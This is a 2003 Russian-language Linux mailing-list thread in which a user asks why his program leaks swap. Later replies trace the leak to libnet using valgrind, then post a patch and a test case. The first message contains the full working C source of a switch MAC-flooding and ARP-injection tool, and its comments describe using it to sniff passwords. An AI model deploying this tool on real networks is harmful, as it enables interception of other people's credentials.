ALT Linux Community general discussions
 help / color / mirror / Atom feed
* [Comm] ?: почему эта программа жрет swap w/ speed  1Mb/sec
@ 2003-08-21  6:30 Oleg K. Artemjev
  2003-08-21  6:37 ` [Comm] " Michael Shigorin
                   ` (2 more replies)
  0 siblings, 3 replies; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21  6:30 UTC (permalink / raw)
  To: community

Hi.

subj - на моем Master 2.0 нижевключенный код съедает по 1 метру свапа за одну-две секунды.
Почему? ?-)

И кто его потом прибивает? Я имею ввиду то, что не понятно, что убивает процесс
переевший swap space - к вечеру от программы остается только надпись 'killed'. То есть, вероятно,
это делает ядро, но от какой опции в menuconfig зависит такое поведение? ?-)

Железо:
[root@sky 2dig]# cat /proc/pci | tail -6
  Bus  0, device  12, function  0:
    Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139 (rev 16).
      IRQ 11.
      Master Capable.  Latency=32.  Min Gnt=32.Max Lat=64.
      I/O at 0xd400 [0xd4ff].
      Non-prefetchable 32 bit memory at 0xe4800000 [0xe48000ff].
[root@sky 2dig]# uname -a
Linux sky.digger.org.ru 2.4.18-altlm2.0-custom #4 SMP Tue Jul 8 05:49:16 MSD 2003 i686 unknown
[root@sky 2dig]# cat /proc/meminfo 
        total:    used:    free:  shared: buffers:  cached:
Mem:  95490048 92807168  2682880        0 12468224 31305728
Swap: 443072512 41533440 401539072
MemTotal:        93252 kB
MemFree:          2620 kB
MemShared:           0 kB
Buffers:         12176 kB
Cached:          18988 kB
SwapCached:      11584 kB
Active:          52632 kB
Inactive:        23544 kB
HighTotal:           0 kB
HighFree:            0 kB
LowTotal:        93252 kB
LowFree:          2620 kB
SwapTotal:      432688 kB
SwapFree:       392128 kB
[root@sky 2dig]# 


Код:

/* 
 * switch-poison.c - switching table poisoning - makes a 
 *                   commutator beheve almost like a hub
 *                   with collission separation.
 *
 * This is a version especially adopted for commutators,
 * meaning for switching table overfilling. 
 *
 * Please note, - w/ tcp sessions 1st packet sent via switch
 * contains session request & the second may then contain 
 * an acknowledge & the 3d - a password, thus if you've not
 * enough bandwidth to refill all the switch commutation table
 * memory (i.e. all it cache  memory) between two packets,
 * then you need some improvement for this code - all password
 * most probably will be sent in the 1st reply packet. There're
 * lot's of possible ways to do so - look at ettercap man
 * page for most usefull & easy way, or you may try dsmiff, or
 * there're more exotic ways. =)
 *
 * Based on arpoison v0.5 by Steve Buer - changed by
 * olli <olli @ digger . org . ru>
 * 
 * Changes: added a loop for src MAC changing, removed
 * commandline options - hardcoded are already best addresses,
 * if anyway wanna  yours - recompile.
 *
 * ToDo: try to find most invisible way to overfill commutation
 * table. Possible vectors are: 
 * 
 * 1. Use layer 2 protocols that doesn't interfer w/ IP-based 
 * stacks. I.e. use ETHERTYPE_LOOPBACK frames (man 3 libnet).
 * 
 * 2. Use IPX or other stack that doesn't interfer with IP-based
 * stacks.
 *  
 * Why: 
 *
 * 1. It may be usefull, since it may easily allow network 
 * investigation without injecting a sencible information. 
 *
 * 2. Just for fun.
 *
 * BUGS: Current version eats swap space w/ a speed of 1Mb/sec on
 * my dual PPro200 w/ 96 RAM w/ no daemons running on 10Mbit/s on
 * Realtek 8139. At the end of avalible swap space it may be
 * killed by monitoring rules or you may get other results...
 *
 *
 *				 NO WARRANTY OF ANY KIND.
 *					 EDUCATION ONLY.
 * 
 *
 * thanx2:		all libnet developers,
 * 				Steve Buer, author of original arpoison,
 * 				Rserg <rserg @ mtcm . ru> .
 */

/* uncomment '#define debug 1' for reports on sent packets.*/
/*
#define debug 1
*/

#include <libnet.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>

void get_ip_addr(struct in_addr *, char *);

int main(int argc, char *argv[])
{
        /* various variables */
        int n, c, c0, c1, c2, c3, c4, c5;
        int packet_size = LIBNET_ETH_H + LIBNET_ARP_H;  
        u_long SrcIP, DstIP;
        u_char *packet;
        u_char *device;
	char err_buf[LIBNET_ERRBUF_SIZE];
        struct libnet_link_int *network; 
	unsigned int p[6];
	u_char DstHW[6]; 
        u_char SrcHW[6];
/* parse args */
	if (argc != 1)
	{
	 printf("No opts supported.");
	 printf("This 'll send lots of arp replies to MAC ff:ff:ff:ff:ff:ff,\n");
	 printf("from statically growing MAC with fromIP 224.0.0.1 &\n");
	 printf("destIP 224.0.0.1 via device eth0.\n");
	 printf("to change - change src & recompile.");
	 exit(1);
	}
/* assign predefined values */
    DstIP = inet_addr("224.0.0.1"); 
    SrcIP = inet_addr("224.0.0.1");
    device = "eth0";
    n = sscanf("ff:ff:ff:ff:ff:ff", "%x:%x:%x:%x:%x:%x",
               &p[0],&p[1],&p[2],&p[3],&p[4],&p[5]);
    for (c = 0;c < 6;c++) {DstHW[c] = p[c];}
/* infinite loop - sending packets */
 while (1) 
 {/*let MAC grow*/
  for (c0=0;c0<255;c0++)
  {SrcHW[0]=c0;
   for (c1=0;c1<255;c1++)
   {SrcHW[1]=c1;
    for (c2=0;c2<255;c2++)
    {SrcHW[2]=c2;
     for (c3=0;c3<255;c3++)
     {SrcHW[3]=c3;
      for (c4=0;c4<255;c4++)
      {SrcHW[4]=c4;
       for (c5=0;c5<255;c5++)
       {SrcHW[5]=c5;
/* --------------Packet construction & sending-------------------- */
 	    /* allocate memory for packet */
        n = libnet_init_packet(packet_size, &packet);  
	    if(n != 1){printf("libnet_init_packet: error\n");exit(1);}
        /* ethernet header */
        n = libnet_build_ethernet(
                DstHW,          /* dst HW addr */
                SrcHW,          /* src HW addr */
                0x0806,         /* ether packet type */
                NULL,           /* ptr to payload */
                0,              /* payload size */
                packet);        /* ptr to packet memory */ 
	    if(n == -1){perror("libnet_build_ethernet"); exit(1);}
        /* ARP header */
        n = libnet_build_arp( 
                1,              /* hardware type */
                0x0800,         /* proto type */
                6,              /* hw addr size */
                4,              /* proto addr size */ 
                2,              /* ARP REPLY */
                SrcHW,          /* source HW addr */
                (u_char *)&SrcIP,         /* src proto addr */
                DstHW,          /* dst HW addr */
                (u_char *)&DstIP,         /* dst IP addr */
                NULL,           /* no payload */
                0,              /* payload length */
         packet + LIBNET_ETH_H); /* packet buffer memory */
        if (n == -1) {perror("libnet_build_arp");exit(1);} 
        /* open the link-layer interface */
        network = libnet_open_link_interface(device, err_buf);
        if (network == NULL){perror("libnet_open_link_interface");exit(1);}
        /* inject the mofo !! */
        n = libnet_write_link_layer(network,device,packet,packet_size);
        if (n < packet_size)
        {printf("libnet_write_link_layer only wrote %d of %d bytes\n",n,
	           packet_size);
        }
#ifdef debug
	/* output */
	printf("ARP packet sent via %s\n", device);
#endif
       /* Shut down the interface */
        n = libnet_close_link_interface(network);  
	    if (n == -1){perror("libnet_close_link_interface");exit(1);}
        /* free packet memory */
        libnet_destroy_packet(&packet); 
/*--------------Packet construction & sending--------------------*/
       } /* for c5 */
      } /* for c4 */
     } /* for c3 */
    } /* for c2 */
   } /* for c1 */
  } /* for c0 */
 } /* while(1)*/
}

Собирается так:
-----------------------------------------------------------------------------------------------------
all: arpoison switch-poison
clean:
	rm -f arpoison
	rm -f switch-poison
arpoison: arpoison.c
	gcc -Wall `libnet-config --defines` arpoison.c -o arpoison `libnet-config --libs`
switch-poison: switch-poison.c
	gcc -Wall `libnet-config --defines` switch-poison.c  -o switch-poison `libnet-config --libs`

install:
	cp -f arpoison switch-poison /hbin
-----------------------------------------------------------------------------------------------------




-- 
Bye.Olli.			http://olli.digger.org.ru



^ permalink raw reply	[flat|nested] 18+ messages in thread

* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21  6:30 [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec Oleg K. Artemjev
@ 2003-08-21  6:37 ` Michael Shigorin
  2003-08-21  8:13   ` Oleg K. Artemjev
  2003-08-21  7:12 ` [Comm] " Sasha Martsinuk
  2003-08-21 10:53 ` [Comm] " Alexey Tourbin
  2 siblings, 1 reply; 18+ messages in thread
From: Michael Shigorin @ 2003-08-21  6:37 UTC (permalink / raw)
  To: community

On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
> надпись 'killed'. То есть, вероятно, это делает ядро, но от
> какой опции в menuconfig зависит такое поведение? ?-)

OOM?

-- 
 ---- WBR, Michael Shigorin <mike@altlinux.ru>
  ------ Linux.Kiev http://www.linux.kiev.ua/


^ permalink raw reply	[flat|nested] 18+ messages in thread

* Re: [Comm] ?: почему эта программа жрет swap w/ speed  1Mb/sec
  2003-08-21  6:30 [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec Oleg K. Artemjev
  2003-08-21  6:37 ` [Comm] " Michael Shigorin
@ 2003-08-21  7:12 ` Sasha Martsinuk
  2003-08-21  8:10   ` Oleg K. Artemjev
  2003-08-21 10:53 ` [Comm] " Alexey Tourbin
  2 siblings, 1 reply; 18+ messages in thread
From: Sasha Martsinuk @ 2003-08-21  7:12 UTC (permalink / raw)
  To: Oleg K. Artemjev

Здравствуйте, Oleg.

Вы писали 21 августа 2003 г., 9:30:01:

OKA> Hi.

OKA> subj - на моем Master 2.0 нижевключенный код съедает по 1 метру свапа за одну-две секунды.
OKA> Почему? ?-)

OKA> И кто его потом прибивает? Я имею ввиду то, что не понятно, что убивает процесс
OKA> переевший swap space - к вечеру от программы остается только надпись 'killed'. То есть, вероятно,
OKA> это делает ядро, но от какой опции в menuconfig зависит такое поведение? ?-)

<skip/>

OKA>  * BUGS: Current version eats swap space w/ a speed of 1Mb/sec on
OKA>  * my dual PPro200 w/ 96 RAM w/ no daemons running on 10Mbit/s on
OKA>  * Realtek 8139. At the end of avalible swap space it may be
OKA>  * killed by monitoring rules or you may get other results...

Это цитата из приведённого тобой кода, где автора прямо признают эту
багу.

-- 
С уважением,
 Sasha                          mailto:scampler@ukr.net



^ permalink raw reply	[flat|nested] 18+ messages in thread

* Re: [Comm] ?: почему эта программа жрет swap w/ speed  1Mb/sec
  2003-08-21  7:12 ` [Comm] " Sasha Martsinuk
@ 2003-08-21  8:10   ` Oleg K. Artemjev
  2003-08-21  8:28     ` Alexey I. Froloff
  0 siblings, 1 reply; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21  8:10 UTC (permalink / raw)
  To: community

On Thu, 21 Aug 2003 10:12:33 +0300
Sasha Martsinuk <scampler@ukr.net> wrote:

> OKA> subj - на моем Master 2.0 нижевключенный код съедает по 1 метру свапа за одну-две секунды.
> OKA> Почему? ?-)
> OKA> И кто его потом прибивает? Я имею ввиду то, что не понятно, что убивает процесс
> OKA> переевший swap space - к вечеру от программы остается только надпись 'killed'. То есть, вероятно,
> OKA> это делает ядро, но от какой опции в menuconfig зависит такое поведение? ?-)
вопрос все еще открыт. ;-)

> OKA>  * BUGS: Current version eats swap space w/ a speed of 1Mb/sec on
> OKA>  * my dual PPro200 w/ 96 RAM w/ no daemons running on 10Mbit/s on
> OKA>  * Realtek 8139. At the end of avalible swap space it may be
> OKA>  * killed by monitoring rules or you may get other results...
> Это цитата из приведённого тобой кода, где автора прямо признают эту
> багу.
Я рад что меня начинают цитировать ;-))), но вот беда - решение вопроса от этого ближе не 
становится. =)

Этот самый arpoison модифицировал я - всего то делов - взять справочник по цэ, отодрать 
командные опции, сделать цикл под перебор MAC по возрастанию - задача для второкурсника 
(на первом курсе цэ не проходят). Так что про автора это слишком громко сказано - я всего
лишь адаптировал код под свои задачи. =)

Вопрос, собственно, был к знающим программирование и работавшим с libnet - что я сделал не так?
Варианты: 
*) вынести за цикл libnet_init_packet/libnet_destroy_packet?
*) вставить некий вызов на освобождение памяти?
*) вставить паузу по случаю нереентерабельности какой либо из функций?

-- 
Bye.Olli.			http://olli.digger.org.ru



^ permalink raw reply	[flat|nested] 18+ messages in thread

* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21  6:37 ` [Comm] " Michael Shigorin
@ 2003-08-21  8:13   ` Oleg K. Artemjev
  2003-08-21 10:16     ` Michael Shigorin
  0 siblings, 1 reply; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21  8:13 UTC (permalink / raw)
  To: community

On Thu, 21 Aug 2003 09:37:33 +0300
Michael Shigorin <mike@osdn.org.ua> wrote:

> On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
> > надпись 'killed'. То есть, вероятно, это делает ядро, но от
> > какой опции в menuconfig зависит такое поведение? ?-)
> OOM?
мм.. не понял. можно с путями относительно верхней точки меню? Ибо ядро
я так хорошо пока не помню.. :(

-- 
Bye.Olli.			http://olli.digger.org.ru



^ permalink raw reply	[flat|nested] 18+ messages in thread

* Re: [Comm] ?: почему эта программа жрет swap w/ speed  1Mb/sec
  2003-08-21  8:10   ` Oleg K. Artemjev
@ 2003-08-21  8:28     ` Alexey I. Froloff
  0 siblings, 0 replies; 18+ messages in thread
From: Alexey I. Froloff @ 2003-08-21  8:28 UTC (permalink / raw)
  To: community

[-- Attachment #1: Type: text/plain, Size: 684 bytes --]

* Oleg K. Artemjev <olli@rbauto.ru> [030821 12:12]:
> Вопрос, собственно, был к знающим программирование и работавшим
> с libnet - что я сделал не так?
> Варианты: 
> *) вынести за цикл libnet_init_packet/libnet_destroy_packet?
> *) вставить некий вызов на освобождение памяти?
> *) вставить паузу по случаю нереентерабельности какой либо из функций?
Для начала можно прогнать это через какой-ньдь gprof и посмотреть
кто именно течёт с такой скоростью...

-- 
Regards, Sir Raorn.
-------------------
Пользователям почтового клиента sylpheed следует быть предельно
осторожными во время сегодняшнего обновления. Завтра эта проблема, скорее
всего, будет устранена.
		-- ldv in sisyphus@

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

^ permalink raw reply	[flat|nested] 18+ messages in thread

* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21  8:13   ` Oleg K. Artemjev
@ 2003-08-21 10:16     ` Michael Shigorin
  2003-08-21 10:39       ` Oleg K. Artemjev
  0 siblings, 1 reply; 18+ messages in thread
From: Michael Shigorin @ 2003-08-21 10:16 UTC (permalink / raw)
  To: community

On Thu, Aug 21, 2003 at 12:13:44PM +0400, Oleg K. Artemjev wrote:
> > > надпись 'killed'. То есть, вероятно, это делает ядро, но от
> > > какой опции в menuconfig зависит такое поведение? ?-)
> > OOM?
> мм.. не понял. можно с путями относительно верхней точки меню?

А, оно ж вроде неменюконфигурируемое...

-- 
 ---- WBR, Michael Shigorin <mike@altlinux.ru>
  ------ Linux.Kiev http://www.linux.kiev.ua/


^ permalink raw reply	[flat|nested] 18+ messages in thread

* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 10:16     ` Michael Shigorin
@ 2003-08-21 10:39       ` Oleg K. Artemjev
  2003-08-21 11:01         ` Michael Shigorin
  0 siblings, 1 reply; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21 10:39 UTC (permalink / raw)
  To: community

On Thu, 21 Aug 2003 13:16:16 +0300
Michael Shigorin <mike@osdn.org.ua> wrote:

> On Thu, Aug 21, 2003 at 12:13:44PM +0400, Oleg K. Artemjev wrote:
> > > > надпись 'killed'. То есть, вероятно, это делает ядро, но от
> > > > какой опции в menuconfig зависит такое поведение? ?-)
> > > OOM?
> > мм.. не понял. можно с путями относительно верхней точки меню?
> А, оно ж вроде неменюконфигурируемое...
Или я торможу основательно, или одно из трех. ;-) Я собственно о том, что 
раз прогу прибивает ядро, то где-то в дебрях 'cd /usr/src/linux;make menuconfig'
есть опция которая за это отвечает. А может и нет опции - все равно все бы и 
так включали - кому охота oops видеть.. А о чем Вы? %)

-- 
Bye.Olli.			http://olli.digger.org.ru



^ permalink raw reply	[flat|nested] 18+ messages in thread

* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21  6:30 [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec Oleg K. Artemjev
  2003-08-21  6:37 ` [Comm] " Michael Shigorin
  2003-08-21  7:12 ` [Comm] " Sasha Martsinuk
@ 2003-08-21 10:53 ` Alexey Tourbin
  2003-08-21 11:04   ` Alexey Tourbin
  2003-08-21 12:12   ` Oleg K. Artemjev
  2 siblings, 2 replies; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 10:53 UTC (permalink / raw)
  To: community

[-- Attachment #1: Type: text/plain, Size: 1602 bytes --]

On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
>         network = libnet_open_link_interface(device, err_buf);

Кажись в этом месте libnet протекает.

==7053== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
==7053== malloc/free: in use at exit: 1040400 bytes in 65025 blocks.
==7053== malloc/free: 130050 allocs, 65025 frees, 3771450 bytes allocated.
==7053== For counts of detected errors, rerun with: -v
==7053== searching for pointers to 65025 not-freed blocks.
==7053== checked 4332012 bytes.
==7053==
==7053== 1760 bytes in 110 blocks are possibly lost in loss record 2 of 3
==7053==    at 0x26C38F: malloc (vg_clientfuncs.c:103)
==7053==    by 0x3202F1: libnet_open_link_interface (libnet_link_sockpacket.c:88)
==7053==    by 0x8048A13: main (arpoison.c:150)
==7053==    by 0x33C661: __libc_start_main (in /lib/libc-2.2.6.so)
==7053==
==7053== 1038304 bytes in 64894 blocks are definitely lost in loss record 3 of 3
==7053==    at 0x26C38F: malloc (vg_clientfuncs.c:103)
==7053==    by 0x3202F1: libnet_open_link_interface (libnet_link_sockpacket.c:88)
==7053==    by 0x8048A13: main (arpoison.c:150)
==7053==    by 0x33C661: __libc_start_main (in /lib/libc-2.2.6.so)
==7053==
==7053== LEAK SUMMARY:
==7053==    definitely lost: 1038304 bytes in 64894 blocks.
==7053==    possibly lost:   1760 bytes in 110 blocks.
==7053==    still reachable: 336 bytes in 21 blocks.
==7053==         suppressed: 0 bytes in 0 blocks.
==7053== Reachable blocks (those to which a pointer was found) are not shown.
==7053== To see them, rerun with: --show-reachable=yes
==7053==

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

^ permalink raw reply	[flat|nested] 18+ messages in thread

* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 10:39       ` Oleg K. Artemjev
@ 2003-08-21 11:01         ` Michael Shigorin
  0 siblings, 0 replies; 18+ messages in thread
From: Michael Shigorin @ 2003-08-21 11:01 UTC (permalink / raw)
  To: community

On Thu, Aug 21, 2003 at 02:39:58PM +0400, Oleg K. Artemjev wrote:
> > > > OOM?
> > > мм.. не понял. можно с путями относительно верхней точки меню?
> > А, оно ж вроде неменюконфигурируемое...
> Или я торможу основательно, или одно из трех. ;-) Я собственно
> о том, что раз прогу прибивает ядро, то где-то в дебрях 'cd
> /usr/src/linux;make menuconfig' есть опция которая за это
> отвечает. А может и нет опции - все равно все бы и так включали
> - кому охота oops видеть.. А о чем Вы? %)

Я о том, что с 2.4.что-то Out Of Memory killer вроде как
безусловно включен.  Жестких конфиликтов у него со мной не было,
посему голову не забивал. :)

-- 
 ---- WBR, Michael Shigorin <mike@altlinux.ru>
  ------ Linux.Kiev http://www.linux.kiev.ua/


^ permalink raw reply	[flat|nested] 18+ messages in thread

* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 10:53 ` [Comm] " Alexey Tourbin
@ 2003-08-21 11:04   ` Alexey Tourbin
  2003-08-21 11:24     ` Alexey I. Froloff
  2003-08-21 12:12   ` Oleg K. Artemjev
  1 sibling, 1 reply; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 11:04 UTC (permalink / raw)
  To: community


[-- Attachment #1.1: Type: text/plain, Size: 192 bytes --]

On Thu, Aug 21, 2003 at 02:53:47PM +0400, Alexey Tourbin wrote:
> Кажись в этом месте libnet протекает.

Точняк.  Попробуйте пересобрать libnet1 с вот этим патчем и посмотреть,
течёт или нет.

[-- Attachment #1.2: libnet-1.0.2a-alt-memory-leak.patch --]
[-- Type: text/plain, Size: 420 bytes --]

--- Libnet-1.0.2a/src/libnet_link_sockpacket.c~	2001-01-07 18:53:44 +0000
+++ Libnet-1.0.2a/src/libnet_link_sockpacket.c	2003-08-21 11:01:17 +0000
@@ -167,14 +167,9 @@ bad:
 int
 libnet_close_link_interface(struct libnet_link_int *l)
 {
-    if (close(l->fd) == 0)
-    {
-        return (1);
-    }
-    else
-    {
-        return (-1);
-    }
+    int rv = close(l->fd);
+    free(l);
+    return rv ? -1 : 1;
 }
 
 

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

^ permalink raw reply	[flat|nested] 18+ messages in thread

* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 11:04   ` Alexey Tourbin
@ 2003-08-21 11:24     ` Alexey I. Froloff
  2003-08-21 11:30       ` Alexey Tourbin
  0 siblings, 1 reply; 18+ messages in thread
From: Alexey I. Froloff @ 2003-08-21 11:24 UTC (permalink / raw)
  To: community

[-- Attachment #1: Type: text/plain, Size: 422 bytes --]

* Alexey Tourbin <at@altlinux.ru> [030821 15:10]:
> > Кажись в этом месте libnet протекает.
> Точняк.  Попробуйте пересобрать libnet1 с вот этим патчем и
> посмотреть, течёт или нет.
Это завит от того, кто выделяет память под этот l... Если клиент,
то пусть сам клиент это и освобождает...

-- 
Regards, Sir Raorn.
-------------------
Конечно, можно сделать fork+pipe, но это уже совсем другая история.
		-- ldv in devel@

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

^ permalink raw reply	[flat|nested] 18+ messages in thread

* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 11:24     ` Alexey I. Froloff
@ 2003-08-21 11:30       ` Alexey Tourbin
  2003-08-21 12:55         ` Alexey Tourbin
  0 siblings, 1 reply; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 11:30 UTC (permalink / raw)
  To: community

[-- Attachment #1: Type: text/plain, Size: 448 bytes --]

On Thu, Aug 21, 2003 at 03:24:45PM +0400, Alexey I. Froloff wrote:
> > Точняк.  Попробуйте пересобрать libnet1 с вот этим патчем и
> > посмотреть, течёт или нет.
> Это завит от того, кто выделяет память под этот l... Если клиент,
> то пусть сам клиент это и освобождает...

Конечно.  Память выделяется в функции libnet_open_link_interface, а я
зафиксил функцию libnet_close_link_interface.  В сущности, этого хорошо
видно из двух предыдущих писем.

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

^ permalink raw reply	[flat|nested] 18+ messages in thread

* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 10:53 ` [Comm] " Alexey Tourbin
  2003-08-21 11:04   ` Alexey Tourbin
@ 2003-08-21 12:12   ` Oleg K. Artemjev
  2003-08-21 12:46     ` Sergey Vlasov
  2003-08-21 12:54     ` Alexey Tourbin
  1 sibling, 2 replies; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21 12:12 UTC (permalink / raw)
  To: community

On Thu, 21 Aug 2003 14:53:47 +0400
Alexey Tourbin <at@altlinux.ru> wrote:

> On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
> >         network = libnet_open_link_interface(device, err_buf);
> Кажись в этом месте libnet протекает.
Расскажите, пожалуйста, двоечнику - какой программе и (как)/(с какими опциями) вы 
мое поделие скормили? ?-) Есть, кстати, в природе какое нить _небольшое_ howto по
catching memory leakage? ?)~
 
> ==7053== 1760 bytes in 110 blocks are possibly lost in loss record 2 of 3
> ==7053==    at 0x26C38F: malloc (vg_clientfuncs.c:103)
> ==7053==    by 0x3202F1: libnet_open_link_interface (libnet_link_sockpacket.c:88)
> ==7053==    by 0x8048A13: main (arpoison.c:150)
> ==7053==    by 0x33C661: __libc_start_main (in /lib/libc-2.2.6.so)
> ==7053== 1038304 bytes in 64894 blocks are definitely lost in loss record 3 of 3
> ==7053==    at 0x26C38F: malloc (vg_clientfuncs.c:103)
> ==7053==    by 0x3202F1: libnet_open_link_interface (libnet_link_sockpacket.c:88)
> ==7053==    by 0x8048A13: main (arpoison.c:150)
> ==7053==    by 0x33C661: __libc_start_main (in /lib/libc-2.2.6.so)
> ==7053== LEAK SUMMARY:
> ==7053==    definitely lost: 1038304 bytes in 64894 blocks.
> ==7053==    possibly lost:   1760 bytes in 110 blocks.
> ==7053==    still reachable: 336 bytes in 21 blocks.
> ==7053==         suppressed: 0 bytes in 0 blocks.
> ==7053== Reachable blocks (those to which a pointer was found) are not shown.
> ==7053== To see them, rerun with: --show-reachable=yes
> ==7053==
> 

-- 
Bye.Olli.			http://olli.digger.org.ru



^ permalink raw reply	[flat|nested] 18+ messages in thread

* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 12:12   ` Oleg K. Artemjev
@ 2003-08-21 12:46     ` Sergey Vlasov
  2003-08-21 12:54     ` Alexey Tourbin
  1 sibling, 0 replies; 18+ messages in thread
From: Sergey Vlasov @ 2003-08-21 12:46 UTC (permalink / raw)
  To: community

On Thu, 21 Aug 2003 16:12:02 +0400
"Oleg K. Artemjev" <olli@rbauto.ru> wrote:

> On Thu, 21 Aug 2003 14:53:47 +0400
> Alexey Tourbin <at@altlinux.ru> wrote:
> 
> > On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
> > >         network = libnet_open_link_interface(device, err_buf);
> > Кажись в этом месте libnet протекает.
> Расскажите, пожалуйста, двоечнику - какой программе и (как)/(с какими опциями) вы 
> мое поделие скормили? ?-) Есть, кстати, в природе какое нить _небольшое_ howto по
> catching memory leakage? ?)~
>  
> > ==7053== 1760 bytes in 110 blocks are possibly lost in loss record 2 of 3

valgrind, в Мастере 2.2 есть, в Сизифе версия поновее. Помимо утечек,
умеет отлавливать, например, различные виды неверной работы с памятью:
использование неинициализированных данных, обращение за пределы
выделенных областей, повторное освобождение памяти, использование
неверного метода освобождения (free/delete/delete[]), ...


^ permalink raw reply	[flat|nested] 18+ messages in thread

* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 12:12   ` Oleg K. Artemjev
  2003-08-21 12:46     ` Sergey Vlasov
@ 2003-08-21 12:54     ` Alexey Tourbin
  2003-08-21 13:17       ` Oleg K. Artemjev
  1 sibling, 1 reply; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 12:54 UTC (permalink / raw)
  To: community

[-- Attachment #1: Type: text/plain, Size: 690 bytes --]

On Thu, Aug 21, 2003 at 04:12:02PM +0400, Oleg K. Artemjev wrote:
> Расскажите, пожалуйста, двоечнику - какой программе и (как)/(с какими опциями) вы 
> мое поделие скормили? ?-) Есть, кстати, в природе какое нить _небольшое_ howto по
> catching memory leakage? ?)~

# valgrind --leak-check=yes ./arpoison

Мне уже по голове настучали. :)

На самом деле я немного модифицировал программу, пропустив 4 внутренних
цикла, т.е. чтобы SrcHW[2] = SrcHW[3] = SrcHW[4] = SrcHW[5] = 0,
чтобы она побыстрее свое черное дело сделала.

Но сначала пересобрать libnet1:

$ rpm --rebuild --enable debug libnet1-1.0.2a-ipl3mdk.src.rpm L
# rpm -Uvh --force /home/at/RPM/RPMS/*/libnet1-*1.0.2a-ipl3mdk.*.rpm

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

^ permalink raw reply	[flat|nested] 18+ messages in thread

* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 11:30       ` Alexey Tourbin
@ 2003-08-21 12:55         ` Alexey Tourbin
  0 siblings, 0 replies; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 12:55 UTC (permalink / raw)
  To: community


[-- Attachment #1.1: Type: text/plain, Size: 322 bytes --]

On Thu, Aug 21, 2003 at 03:30:56PM +0400, Alexey Tourbin wrote:
> Конечно.  Память выделяется в функции libnet_open_link_interface, а я
> зафиксил функцию libnet_close_link_interface.  В сущности, этого хорошо
> видно из двух предыдущих писем.

Вот testcase (пускать из-под рута).
В libnet2 aka libnet-1.x уже исправлено.

[-- Attachment #1.2: test-libnet1.c --]
[-- Type: text/plain, Size: 253 bytes --]

#include <stdio.h>
#include <libnet.h>

int main()
{
	while(1) {
		char buf[LIBNET_ERRBUF_SIZE];
        	struct libnet_link_int *network = 
			libnet_open_link_interface("eth0", buf);
		if (network)
        		libnet_close_link_interface(network);
	}
}

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

^ permalink raw reply	[flat|nested] 18+ messages in thread

* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
  2003-08-21 12:54     ` Alexey Tourbin
@ 2003-08-21 13:17       ` Oleg K. Artemjev
  0 siblings, 0 replies; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21 13:17 UTC (permalink / raw)
  To: community

On Thu, 21 Aug 2003 16:54:44 +0400
Alexey Tourbin <at@altlinux.ru> wrote:
> > Расскажите, пожалуйста, двоечнику - какой программе и (как)/(с какими опциями) вы 
> > мое поделие скормили? ?-) Есть, кстати, в природе какое нить _небольшое_ howto по
> > catching memory leakage? ?)~
> # valgrind --leak-check=yes ./arpoison
cпасибо. :)

> Мне уже по голове настучали. :)
За нечаянно потравленный кэш Вашего свитча? ?-) Впрочем если железка интеллектуальная, то все не
так просто - у грамотных админов она будет вопить в логах (если у Вас статические таблицы
комутации на портах) и просто дропать этот траффик, но это только если железку мониторят.

> На самом деле я немного модифицировал программу, пропустив 4 внутренних
> цикла, т.е. чтобы SrcHW[2] = SrcHW[3] = SrcHW[4] = SrcHW[5] = 0,
> чтобы она побыстрее свое черное дело сделала.
> Но сначала пересобрать libnet1:
> $ rpm --rebuild --enable debug libnet1-1.0.2a-ipl3mdk.src.rpm L
> # rpm -Uvh --force /home/at/RPM/RPMS/*/libnet1-*1.0.2a-ipl3mdk.*.rpm
